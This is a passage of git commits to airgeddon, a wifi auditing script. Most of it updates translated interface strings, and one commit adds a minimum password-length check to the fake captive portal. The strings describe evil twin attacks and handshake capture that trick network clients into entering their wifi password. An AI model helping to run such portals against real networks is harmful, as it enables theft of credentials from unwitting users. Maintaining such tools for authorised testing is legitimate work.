fitxer de Handshake seleccionat en aquesta sessió..." - arr["portuguese",312]="$pending_of_translation Não é detectado arquivo Handshake selecionado nesta sessão..." + arr["portuguese",312]="Nenhum arquivo de Handshake foi selecionado nesta sessão..." arr["russian",312]="$pending_of_translation не обнаружен Рукопожатие файл, выбранный в этой сессии..." arr["greek",312]="$pending_of_translation δεν έχει εντοπιστεί το αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο..." @@ -2968,7 +2968,7 @@ function language_strings() { arr["spanish",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión ["${normal_color}"$et_handshake"${blue_color}"]" arr["french",313]="Le fichier handshake suivant a été détecté comme étant sélectionné pour cette session ["${normal_color}"$et_handshake"${blue_color}"]" arr["catalan",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió ["${normal_color}"$et_handshake"${blue_color}"]" - arr["portuguese",313]="$pending_of_translation Arquivo Handshake detectado selecionado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" + arr["portuguese",313]="Um arquivo de Handshake foi capturado nesta sessão ["${normal_color}"$et_handshake"${blue_color}"]" arr["russian",313]="$pending_of_translation Обнаружен файл Рукопожатие выбран в этой сессии ["${normal_color}"$et_handshake"${blue_color}"]" arr["greek",313]="$pending_of_translation Εντοπίστηκε αρχείο Χειραψία επιλεγεί σε αυτή τη σύνοδο ["${normal_color}"$et_handshake"${blue_color}"]" @@ -2976,7 +2976,7 @@ function language_strings() { arr["spanish",314]="Fichero de Handshake seleccionado: "${pink_color}"$enteredpath"${normal_color} arr["french",314]="Fichier Handshake sélectionné: "${pink_color}"$enteredpath"${normal_color} arr["catalan",314]="Fitxer de Handshake seleccionat: "${pink_color}"$enteredpath"${normal_color} - arr["portuguese",314]="$pending_of_translation Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} + arr["portuguese",314]="Arquivo Handshake selecionado: "${pink_color}"$enteredpath"${normal_color} arr["russian",314]="$pending_of_translation Рукопожатие выбранный файл: "${pink_color}"$enteredpath"${normal_color} arr["greek",314]="$pending_of_translation Αρχείο χειραψία επιλεγμένα: "${pink_color}"$enteredpath"${normal_color} @@ -2984,7 +2984,7 @@ function language_strings() { arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" arr["french",315]="Vous devez déjà avoir capturé un Handshke WPA/WPA2 pour pouvoir lancer cette attaque" arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" - arr["portuguese",315]="$pending_of_translation Este ataque requer que você já capturou um arquivo a partir de uma rede Handshake WPA/WPA2" + arr["portuguese",315]="Este ataque requer que você já tenha capturado um arquivo Handshke de uma rede WPA/WPA2" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2" arr["greek",315]="$pending_of_translation Η επίθεση αυτή προϋποθέτει ότι έχετε συλληφθεί στο παρελθόν αρχείο χειραψία ένα δίκτυο WPA/WPA2" @@ -2992,7 +2992,7 @@ function language_strings() { arr["spanish",316]="Se va a realizar una exploración en busca de objetivos..." arr["french",316]="$pending_of_translation Il effectuera un balayage des cibles..." arr["catalan",316]="$pending_of_translation Es va a realitzar una exploració a la recerca d'objectius..." - arr["portuguese",316]="$pending_of_translation Ele irá realizar uma varredura para alvos..." + arr["portuguese",316]="Uma busca por redes wifi será realizada..." arr["russian",316]="$pending_of_translation Он выполнит сканирование для целей..." arr["greek",316]="$pending_of_translation Θα εκτελέσετε σάρωση για τους στόχους..." @@ -3000,7 +3000,7 @@ function language_strings() { arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" arr["french",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" arr["catalan",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" - arr["portuguese",317]="$pending_of_translation Se a senha da rede wifi com o portal cativo é alcançado, decidir onde para salvar. "${green_color}"Digite o caminho onde armazenar o arquivo ou pressione Enter para aceitar as propostas padrão "${normal_color}"[$default_et_captive_portal_logpath]" + arr["portuguese",317]="Se a senha da rede Wi-Fi for conseguida com o portal cativo, onde deseja salvar? "${green_color}"Digite um caminho para salvar o arquivo ou pressione Enter para aceitar o padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" arr["greek",317]="$pending_of_translation Εάν επιτευχθεί ο κωδικός πρόσβασης για το ασύρματο δίκτυο με την αιχμαλωσία πύλη, να αποφασίσει πού να αποθηκεύσετε. "${green_color}"Πληκτρολογήστε τη διαδρομή όπου αποθηκεύουμε το αρχείο ή πατήστε Enter για να αποδεχτείτε την προτεινόμενη προεπιλογή "${normal_color}"[$default_et_captive_portal_logpath]" @@ -3008,7 +3008,7 @@ function language_strings() { arr["spanish",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo :" arr["french",318]="Choisissez la langue dans laquelle les clients du réseau verront le portail captif :" arr["catalan",318]="Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu :" - arr["portuguese",318]="$pending_of_translation Escolha o idioma em que os clientes da rede verá o portal cativo :" + arr["portuguese",318]="Escolha o idioma em que os clientes da rede irão ver o portal cativo :" arr["russian",318]="$pending_of_translation Выберите язык, на котором клиенты сети будут видеть адаптивный портал :" arr["greek",318]="$pending_of_translation Επιλέξτε τη γλώσσα στην οποία οι πελάτες του δικτύου θα δείτε την αιχμαλωσία πύλη :" @@ -3016,7 +3016,7 @@ function language_strings() { arr["spanish",319]="Se ha establecido el idioma del portal cautivo" arr["french",319]="La langue pour le portail captif est activée" arr["catalan",319]="S'ha establert l'idioma del portal captiu" - arr["portuguese",319]="$pending_of_translation A língua foi estabelecida portal cativo" + arr["portuguese",319]="A língua foi selecionada portal cativo" arr["russian",319]="$pending_of_translation Язык был создан адаптивный портал" arr["greek",319]="$pending_of_translation Η γλώσσα έχει καθιερωθεί αιχμαλωσία πύλη" @@ -3032,7 +3032,7 @@ function language_strings() { arr["spanish",321]="¿Tienes ya un fichero de Handshake capturado? "${blue_color}"Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora "${normal_color}"[y/n]" arr["french",321]="$pending_of_translation Avez-vous déjà un fichier de Handshake capturé? "${blue_color}"Réponse oui (\"y\") pour entrer dans le chemin d'accès ou ne répond pas (\"n\") pour capturer un maintenant "${normal_color}"[y/n]" arr["catalan",321]="$pending_of_translation ¿Tens ja un fitxer de Handshake capturat? "${blue_color}"Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar un ara "${normal_color}"[y/n]" - arr["portuguese",321]="$pending_of_translation Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para entrar no caminho ou responder não (\"n\") para capturar um novo agora "${normal_color}"[y/n]" + arr["portuguese",321]="Você já tem um arquivo Handshake capturado? "${blue_color}"Responda sim (\"y\") para colocar o caminho do arquivo ou responda não (\"n\") para capturar um novo arquivo agora "${normal_color}"[y/n]" arr["russian",321]="$pending_of_translation У Вас уже есть файл захваченный Рукопожатие? "${blue_color}"Ответ да (\"y\"), чтобы войти в путь или нет ответа Нет (\"n\"), чтобы захватить новую прямо сейчас "${normal_color}"[y/n]" arr["greek",321]="$pending_of_translation Έχετε ήδη καταθέσει ένα κατέλαβε Χειραψία? "${blue_color}"Απάντηση ναι (\"y\") για να εισαγάγετε τη διαδρομή ή να απαντήσει καθόλου (\"n\") για να συλλάβει ένα νέο τώρα "${normal_color}"[y/n]" @@ -3040,7 +3040,7 @@ function language_strings() { arr["spanish",322]="Se ha comprobado que existe un Handshake de la red elegida como objetivo durante la exploración en el fichero de captura seleccionado. El script puede continuar..." arr["french",322]="$pending_of_translation Il a été constaté qu'il existe un Handshake réseau choisi comme cible pour l'exploration dans le fichier de capture sélectionné. Le script peut continuer..." arr["catalan",322]="$pending_of_translation S'ha comprovat que hi ha un Handshake de la xarxa triada com a objectiu durant l'exploració en el fitxer de captura seleccionat. El script pot continuar..." - arr["portuguese",322]="$pending_of_translation Verificou-se que existe uma rede de Handshake escolhido como o alvo para a exploração do ficheiro de captura seleccionado. O script pode continuar..." + arr["portuguese",322]="Verificou-se que no arquivo de captura existe um Handshake da rede da selecionada como o alvo. O script pode continuar..." arr["russian",322]="$pending_of_translation Было установлено, что существует сеть Квитирующий выбрана в качестве цели для исследования в выбранном файле записи. Скрипт может продолжать..." arr["greek",322]="$pending_of_translation Έχει βρεθεί ότι υπάρχει μια χειραψία δίκτυο επιλέχθηκε ως το στόχο για εξερεύνηση στο επιλεγμένο αρχείο καταγραφής. Το script μπορεί να συνεχίσει..." @@ -3048,7 +3048,7 @@ function language_strings() { arr["spanish",323]="No se ha encontrado un Handshake de la red seleccionada en el fichero de captura" arr["french",323]="$pending_of_translation Il n'a pas trouvé un Handshake réseau sélectionné dans le fichier de capture" arr["catalan",323]="$pending_of_translation No s'ha trobat un Handshake de la xarxa seleccionada en el fitxer de captura" - arr["portuguese",323]="$pending_of_translation Não encontrou um aperto de mão rede selecionada no arquivo de captura" + arr["portuguese",323]="Não foi encontrado nenhum Handshake da rede selecionada no arquivo de captura" arr["russian",323]="$pending_of_translation Он не нашел сети Рукопожатие, выбранный в файле захвата" arr["greek",323]="$pending_of_translation Δεν έχει βρει μια χειραψία δικτύου έχει επιλεγεί στο αρχείο καταγραφής" @@ -3064,7 +3064,7 @@ function language_strings() { arr["spanish",325]="Espera. Ten un poco de paciencia..." arr["french",325]="$pending_of_translation Attendez. Ayez un peu de patience..." arr["catalan",325]="$pending_of_translation Espera. Tingues una mica de paciència..." - arr["portuguese",325]="$pending_of_translation Esperar. Tenha um pouco de paciência..." + arr["portuguese",325]="Aguarde. Por favor, seja paciente..." arr["russian",325]="$pending_of_translation Подождите. Имейте немного терпения..." arr["greek",325]="$pending_of_translation Περιμένετε. Έχετε λίγη υπομονή..." From 8d6e8acaf8ffaa5c391cc5a0ce350d09acefb4b4 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 10 Oct 2016 11:16:40 +0200 Subject: [PATCH 15/23] Fixed some special chars on portuguese translations. Added links ond README.md --- README.md | 3 ++- airgeddon.sh | 28 ++++++++++++++-------------- 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index f7cb8b9f7..11d446d36 100644 --- a/README.md +++ b/README.md @@ -129,7 +129,8 @@ You can download the master version or the beta testing version from the develop See
Changelog file to review changes. #Special Thanks to -Thanks to the "Spanish pen testing crew", the Wifislax staff, the seguridadwireless.net and wifi-libre.com forum people that helped me.
+Thanks to the "Spanish pen testing crew", the Wifislax staff, the Seguridadwireless.net and Wifi-libre.com forum people that helped me.
+Thanks to the Hackware.ru admins.

**Kcdtv** for French translations, beta testing, suggestions about new features and support received since the beginning.
**USUARIONUEVO** for helping me to improve the script, suggestions about new features and for the support received.
diff --git a/airgeddon.sh b/airgeddon.sh index d42b18fa3..b10f211bb 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -304,7 +304,7 @@ function language_strings() { et_misc_texts["french",6]="Avec cette attaque nous allons attendre qu'un client rentre le mot de passe du réseau cible dans notre portail captif" et_misc_texts["catalan",6]="Amb aquest atac, esperarem que un client de la xarxa ens proveeixi de la contrasenya de la xarxa wifi al nostre portal captiu" et_misc_texts["portuguese",6]="Com este ataque, vamos esperar que um cliente nos forneça a senha da rede wifi em nosso portal cativo" - et_misc_texts["russian",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для Wi-Fi сети на нашем перехватывающем портале" + et_misc_texts["russian",6]="С этой атакой вы будете ожидать, чтобы сетевые клиенты ввели пароль для wifi сети на нашем перехватывающем портале" et_misc_texts["greek",6]="Με αυτή την επίθεση, θα περιμένουμε για έναν χρήστη του δικτύου να μας παρέχει με τον κωδικό πρόσβασης του wifi στο captive portal μας" et_misc_texts["english",7]="No clients connected yet" @@ -383,7 +383,7 @@ function language_strings() { et_misc_texts["spanish",16]="La contraseña debe tener al menos 8 caracteres" et_misc_texts["french",16]="La clé de sécurité doit contenir au moins 8 caractères" et_misc_texts["catalan",16]="La contrasenya ha de tenir almenys 8 caràcters" - et_misc_texts["portuguese",16]="A senha deve ter no mínimo 8 caracteres" + et_misc_texts["portuguese",16]="A senha deve ter no mínimo 8 caracteres" et_misc_texts["russian",16]="Пароль должен быть не менее 8 символов" et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες" @@ -391,7 +391,7 @@ function language_strings() { et_misc_texts["spanish",17]="La contraseña introducida es incorrecta, redirigiendo a la pantalla principal" et_misc_texts["french",17]="Clé de sécurité incorrecte, retour à l'écran principal" et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" - et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a pagina principal" + et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a pagina principal" et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" @@ -399,7 +399,7 @@ function language_strings() { et_misc_texts["spanish",18]="La contraseña es correcta, la conexión se restablecerá en unos momentos" et_misc_texts["french",18]="Clé de sécurité correcte, la connexion sera établie dans quelques instants" et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" - et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" + et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" et_misc_texts["russian",18]="Пароль правильный, то соединение будет установлено через несколько минут" et_misc_texts["greek",18]="Ο κωδικός πρόσβασης είναι σωστός, η σύνδεση θα αποκατασταθεί σε λίγα λεπτά" @@ -473,7 +473,7 @@ function language_strings() { arr["french",1]="L'interface $interface n'est pas une carte wifi. Elle n'est donc pas compatible mode managed" arr["catalan",1]="Aquesta interfície $interface no és una targeta wifi vàlida. No es compatible amb mode managed" arr["portuguese",1]="Esta interface $interface não é wifi. Ela não suporta o modo managed" - arr["russian",1]="Этот интерфейс $interface не является Wi-Fi картой. Он не поддерживает управляемый режим" + arr["russian",1]="Этот интерфейс $interface не является wifi картой. Он не поддерживает управляемый режим" arr["greek",1]="Αυτή η διεπαφή $interface δεν είναι κάρτα wifi. Δεν υποστηρίζει ετερόκλητη κατάσταση." arr["english",2]="English O.S. language detected. Supported by script. Automatically changed" @@ -569,7 +569,7 @@ function language_strings() { arr["french",13]="L'interface $interface n'est pas une carte wifi. Elle n'est donc pas compatible mode moniteur" arr["catalan",13]="Aquesta interfície $interface no és una targeta wifi vàlida. No es compatible amb mode monitor" arr["portuguese",13]="Esta interface $interface não é wifi. Ela não suporta o modo monitor" - arr["russian",13]="Этот интерфейс $interface не является Wi-Fi картой. Он не поддерживает режим монитора" + arr["russian",13]="Этот интерфейс $interface не является wifi картой. Он не поддерживает режим монитора" arr["greek",13]="Αυτή η διεπαφή $interface δεν έιναι κάρτα wifi. Δεν υποστηρίζει κατάσταση παρακολούθησης" arr["english",14]="This interface $interface is not in monitor mode" @@ -1481,8 +1481,8 @@ function language_strings() { arr["french",127]="La marche à suivre est généralement: 1-Selectionner la carte wifi 2-Activer le mode moniteur 3-Choisir un réseau cible 4-Capturer le Handshake" arr["catalan",127]="L'ordre natural per procedir a aquest menú sol ser: 1-Tria targeta wifi 2-Posa-la en mode monitor 3-Tria xarxa objectiu 4-Captura Handshake" arr["portuguese",127]="A ordem normal para esse menu é: 1-Escolha de uma interface wifi 2-colocar interface wifi no modo monitor 3-Selecionar uma rede 4-Capturar Handshake" - arr["russian",127]="Естественный порядок работы в этом меню: 1-Выбрать Wi-Fi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожание" - arr["greek",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα Wi-Fi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την χειραψία" + arr["russian",127]="Естественный порядок работы в этом меню: 1-Выбрать wifi карту 2-Перевести её в режим монитора 3-Выбрать целевую сеть 4-Захватить рукопожание" + arr["greek",127]="Η σειρά εντολών για να προχωρήσετε σε αυτό το μενού είναι συνήθως: 1-Επιλέξτε κάρτα wifi 2-Βάλτε την σε κατάσταση παρακολούθησης 3-Επιλέξτε δίκτυο-στόχος 4-Καταγράψτε την χειραψία" arr["english",128]="Select a wifi card to work in order to be able to do more actions than with an ethernet interface" arr["spanish",128]="Selecciona una interfaz wifi para poder realizar más acciones que con una interfaz ethernet" @@ -1537,7 +1537,7 @@ function language_strings() { arr["french",134]="Si votre système d'exploitation Linux est lancé dans une machine virtuelle, il est probable que les cartes wifi internes soient détectées comme des cartes ethernet. Il vaut mieux dans ce cas utiliser un dispositif wifi usb" arr["catalan",134]="Si el teu Linux és a una màquina virtual, és possible que les targetes wifi integrades siguin detectades com ethernet. Utilitza una targeta wifi externa usb" arr["portuguese",134]="Se seu Linux é uma máquina virtual, suas placas wireless integradas são detectadas como ethernet. Use uma placa usb externa" - arr["russian",134]="Если ваш Linux в виртуально машине, то интегрированная Wi-Fi карта может определиться как Ethernet. Используйте внешнюю USB wifi карту" + arr["russian",134]="Если ваш Linux в виртуально машине, то интегрированная wifi карта может определиться как Ethernet. Используйте внешнюю usb wifi карту" arr["greek",134]="Αν το Linux σας είναι εικονική μηχανή, είναι πιθανόν οι ενσωματωμένες κάρτες wifi να εντοπιστούν σαν ethernet. Χρησιμοποιήστε μία εξωτερική usb κάρτα wifi" arr["english",135]="Type of encryption: "${pink_color}"$enc"${normal_color} @@ -2617,7 +2617,7 @@ function language_strings() { arr["french",269]="Pour mener à bien une attaque Evil Twin il vous faut être dans de bonnes conditions d'émission et de réception tantôt avec le point d'accès qu'avec le(s) client(s)" arr["catalan",269]="Per realitzar un atac Evil Twin et caldrà estar molt a prop de l'AP objectiu o tenir una antena wifi molt potent. El teu senyal ha d'arribar als clients igual de fort o més que la de l'AP legítim" arr["portuguese",269]="Para fazer um ataque Evil Twin você precisa estar perto do alvo ou ter uma antena wifi muito poderosa. Seu sinal deve atingir os clientes igualmente forte ou mais do que o AP legítimo" - arr["russian",269]="Для выполнения атаки злой двойник, вы должны быть очень близко к целевой ТД или иметь очень мощную Wi-Fi антенну. Ваш сигнал должен достигать клиентов с такой же силой, или даже сильнее, чем легитимная ТД" + arr["russian",269]="Для выполнения атаки злой двойник, вы должны быть очень близко к целевой ТД или иметь очень мощную wifi антенну. Ваш сигнал должен достигать клиентов с такой же силой, или даже сильнее, чем легитимная ТД" arr["greek",269]="Για να πραγματοποιηθεί μία επίθεση Evil Twin θα πρέπει να είστε αρκετά κοντά στο AP-στόχο ή να έχετε μία πολύ ισχυρή κεραία. Το σήμα πρέπει να φτάνει στους χρήστες το ίδιο ή περισσότερο από το αρχικό AP" arr["english",270]="Evil Twin attack just AP" @@ -2713,7 +2713,7 @@ function language_strings() { arr["french",281]="L'interface $interface que vous avez sélectionnée n'est pas une carte wifi. Cette attaque exige que l'interface sélectionnée soit une carte wifi" arr["catalan",281]="La interfície $interface que tens seleccionada no és una targeta wifi. Aquest atac necessita que la interfície seleccionada sigui wifi" arr["portuguese",281]="$ A interface $interface que você selecionou não é wifi. Este ataque requer uma interface wifi selecionada" - arr["russian",281]="Интерфейс $interface, который вы выбрали не является Wi-Fi картой. Эта атака требует выбрать wifi карту" + arr["russian",281]="Интерфейс $interface, который вы выбрали не является wifi картой. Эта атака требует выбрать wifi карту" arr["greek",281]="Η διεπαφή $interface που έχετε ήδη επιλέξει δεν έιναι κάρτα wifi. Αυτή η επίθεση χρειάζεται μία κάρτα wifi επιλεγμένη" arr["english",282]="Selected internet interface: "${pink_color}"$internet_interface"${normal_color} @@ -2982,9 +2982,9 @@ function language_strings() { arr["english",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" arr["spanish",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" - arr["french",315]="Vous devez déjà avoir capturé un Handshke WPA/WPA2 pour pouvoir lancer cette attaque" + arr["french",315]="Vous devez déjà avoir capturé un Handsahke WPA/WPA2 pour pouvoir lancer cette attaque" arr["catalan",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" - arr["portuguese",315]="Este ataque requer que você já tenha capturado um arquivo Handshke de uma rede WPA/WPA2" + arr["portuguese",315]="Este ataque requer que você já tenha capturado um arquivo Handshake de uma rede WPA/WPA2" arr["russian",315]="$pending_of_translation Эта атака требует, чтобы вы ранее захватили файл из сети Рукопожатие WPA/WPA2" arr["greek",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" @@ -3000,7 +3000,7 @@ function language_strings() { arr["spanish",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. "${green_color}"Escribe la ruta donde guardaremos el fichero o pulsa Enter para aceptar la propuesta por defecto "${normal_color}"[$default_et_captive_portal_logpath]" arr["french",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. "${green_color}"Entrez le chemin du fichier ou bien appuyez sur Entrée pour utiliser le chemin proposé "${normal_color}"[$default_et_captive_portal_logpath]" arr["catalan",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. "${green_color}"Escriu la ruta on desarem el fitxer o prem Enter per acceptar la proposta per defecte "${normal_color}"[$default_et_captive_portal_logpath]" - arr["portuguese",317]="Se a senha da rede Wi-Fi for conseguida com o portal cativo, onde deseja salvar? "${green_color}"Digite um caminho para salvar o arquivo ou pressione Enter para aceitar o padrão "${normal_color}"[$default_et_captive_portal_logpath]" + arr["portuguese",317]="Se a senha da rede wifi for conseguida com o portal cativo, onde deseja salvar? "${green_color}"Digite um caminho para salvar o arquivo ou pressione Enter para aceitar o padrão "${normal_color}"[$default_et_captive_portal_logpath]" arr["russian",317]="$pending_of_translation Если пароль для беспроводной сети с адаптивным порталом достигается, решить, куда сохранить. "${green_color}"Напечатайте путь до файла для сохранения или нажмите Enter для принятия предложения по умолчанию "${normal_color}"[$default_et_captive_portal_logpath]" arr["greek",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. "${green_color}"Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε Enter για την προεπιλεγμένη επιλογή "${normal_color}"[$default_et_captive_portal_logpath]" From 6f4f9c95ef6ff9ad3806577905b3d8c3afe9e55e Mon Sep 17 00:00:00 2001 From: oscarAkaElvis Date: Mon, 10 Oct 2016 14:20:53 +0200 Subject: [PATCH 16/23] Passwords with less than 8 chars are controlled on captive portal if js bypassed. --- airgeddon.sh | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/airgeddon.sh b/airgeddon.sh index b10f211bb..9e38fe61f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -459,6 +459,14 @@ function language_strings() { et_misc_texts["russian",25]="Нажмите Enter в главном окне сценария для продолжения, это окно будет закрыто" et_misc_texts["greek",25]="Πατήστε Enter στο κύριο παράθυρο του script για να συνεχίσετε, το παράθυρο αυτό θα κλείσει" + et_misc_texts["english",26]="Error. The password must be at least 8 characters. Redirecting to the main screen" + et_misc_texts["spanish",26]="Error. La contraseña debe tener al menos 8 caracteres. Redirigiendo a la pantalla principal" + et_misc_texts["french",26]="Erreur. La clé de sécurité doit contenir au moins 8 caractères. Retour à l'écran principal" + et_misc_texts["catalan",26]="Error. La contrasenya ha de tenir almenys 8 caràcters. Redirigint a la pantalla principal" + et_misc_texts["portuguese",26]="Erro. A senha deve ter no mínimo 8 caracteres. Redirecionando para a pagina principal" + et_misc_texts["russian",26]="ошибка. Пароль должен быть не менее 8 символов. Перенаправление на главный экран" + et_misc_texts["greek",26]="σφάλμα. Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες. Θα καθοδηγηθείτε στην κύρια οθόνη" + declare -A arr arr["english",0]="This interface $interface is already in managed mode" arr["spanish",0]="Esta interfaz $interface ya está en modo managed" @@ -5876,7 +5884,13 @@ function set_captive_portal_page() { fi EOF + cat >&4 <<-'EOF' + elif [[ ${#password} -gt 0 ]] && [[ ${#password} -lt 8 ]]; then + EOF + cat >&4 <<-EOF + echo '${et_misc_texts[$captive_portal_language,26]}' + et_successful=0 else echo '${et_misc_texts[$captive_portal_language,14]}' et_successful=0 From 974260d7c28c1ecfe8786f56d1605a1419eb36a6 Mon Sep 17 00:00:00 2001 From: Mi-Al Date: Mon, 10 Oct 2016 17:29:53 +0300 Subject: [PATCH 17/23] Updating Russian translation --- airgeddon.sh | 68 ++++++++++++++++++++++++++-------------------------- 1 file changed, 34 insertions(+), 34 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 9e38fe61f..c38f81f32 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -328,7 +328,7 @@ function language_strings() { et_misc_texts["french",9]="Réseau sans fil, ESSID:" et_misc_texts["catalan",9]="Xarxa sense fils, ESSID:" et_misc_texts["portuguese",9]="ESSID da rede sem fio:" - et_misc_texts["russian",9]="беспроводная сеть, ESSID:" + et_misc_texts["russian",9]="Беспроводная сеть, ESSID:" et_misc_texts["greek",9]="Ασύρματο Δίκτυο, ESSID:" et_misc_texts["english",10]="Enter your wireless network password to get internet access" @@ -336,7 +336,7 @@ function language_strings() { et_misc_texts["french",10]="Veuillez saisir la clé de sécurité du réseau wifi pour obtenir accès à internet" et_misc_texts["catalan",10]="Introduïu la contrasenya d'accés a la xarxa sense fils per poder accedir a internet" et_misc_texts["portuguese",10]="Digite a senha da rede wifi para ter acesso a internet" - et_misc_texts["russian",10]="Введите свой беспроводной доступ к сети Интернет доступа пароль крыло" + et_misc_texts["russian",10]="Введите пароль Вашей беспроводной сети для подключения к Интернету" et_misc_texts["greek",10]="Εισάγετε τον κωδικό πρόσβασης του wifi δικτύου σας για να υπάρξει σύνδεση στο διαδίκτυο" et_misc_texts["english",11]="Password" @@ -344,7 +344,7 @@ function language_strings() { et_misc_texts["french",11]="Clé de sécurité" et_misc_texts["catalan",11]="Contrasenya" et_misc_texts["portuguese",11]="Senha" - et_misc_texts["russian",11]="пароль" + et_misc_texts["russian",11]="Пароль" et_misc_texts["greek",11]="Κωδικός πρόσβασης" et_misc_texts["english",12]="Show password" @@ -360,7 +360,7 @@ function language_strings() { et_misc_texts["french",13]="Enregistrer" et_misc_texts["catalan",13]="Enviar" et_misc_texts["portuguese",13]="Enviar" - et_misc_texts["russian",13]="послать" + et_misc_texts["russian",13]="Отправить" et_misc_texts["greek",13]="Υποβολή" et_misc_texts["english",14]="An unexpected error occurred, redirecting to the main screen" @@ -368,7 +368,7 @@ function language_strings() { et_misc_texts["french",14]="Une erreur inattendue s'est produite, retour à l'écran principal" et_misc_texts["catalan",14]="Hi ha hagut un error inesperat, redirigint a la pantalla principal" et_misc_texts["portuguese",14]="Ocorreu um erro inesperado, redirecionando para a pagina principal" - et_misc_texts["russian",14]="Произошла неожиданная ошибка, перенаправлять на главный экран" + et_misc_texts["russian",14]="Непредвиденная ошибка, перенаправление на главную страницу" et_misc_texts["greek",14]="Παρουσιάστηκε μη αναμενόμενο σφάλμα, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["english",15]="Internet Portal" @@ -384,7 +384,7 @@ function language_strings() { et_misc_texts["french",16]="La clé de sécurité doit contenir au moins 8 caractères" et_misc_texts["catalan",16]="La contrasenya ha de tenir almenys 8 caràcters" et_misc_texts["portuguese",16]="A senha deve ter no mínimo 8 caracteres" - et_misc_texts["russian",16]="Пароль должен быть не менее 8 символов" + et_misc_texts["russian",16]="Длина пароля должна быть не менее 8 символов" et_misc_texts["greek",16]="Ο κωδικός πρόσβασης πρέπει να είναι τουλάχιστον 8 χαρακτήρες" et_misc_texts["english",17]="The password is incorrect, redirecting to the main screen" @@ -392,7 +392,7 @@ function language_strings() { et_misc_texts["french",17]="Clé de sécurité incorrecte, retour à l'écran principal" et_misc_texts["catalan",17]="La contrasenya introduïda és incorrecta, redirigint a la pantalla principal" et_misc_texts["portuguese",17]="A senha está incorreta, redirecionando para a pagina principal" - et_misc_texts["russian",17]="Неверный пароль, перенаправление на главный экран" + et_misc_texts["russian",17]="Неправильный пароль, возврат на главную страницу" et_misc_texts["greek",17]="Ο κωδικός πρόσβασης είναι λανθασμένος, Θα καθοδηγηθείτε στην κύρια οθόνη" et_misc_texts["english",18]="The password is correct, the connection will be restablished in a few moments" @@ -400,7 +400,7 @@ function language_strings() { et_misc_texts["french",18]="Clé de sécurité correcte, la connexion sera établie dans quelques instants" et_misc_texts["catalan",18]="La contrasenya és correcta, la connexió es restablirà en uns moments" et_misc_texts["portuguese",18]="A senha está correta, a conexão será estabelecida em alguns momentos" - 